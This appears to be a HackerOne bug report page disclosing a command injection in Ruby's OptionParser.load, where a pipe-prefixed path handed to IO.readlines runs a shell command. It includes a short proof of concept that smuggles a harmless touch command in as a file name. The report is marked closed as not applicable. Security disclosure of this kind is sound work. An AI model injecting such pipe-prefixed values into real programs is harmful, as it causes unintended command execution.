Command injection in OptionParser.load

Disclosed: 2021-03-07 11:45:47 By piao To ruby
Low
Vulnerability Details
OptionParser.load function use IO.readlines to read file, which can inject `| command ` to exec command. poc: ``` require 'optparse' OptionParser.new do |opts| opts.load("|touch /tmp/niubl") end.parse! ``` ## Impact The command may be executed unintentionally.
Actions
View on HackerOne
Report Stats
  • Report ID: 1090678
  • State: Closed
  • Substate: not-applicable
  • Upvotes: 1
Share this report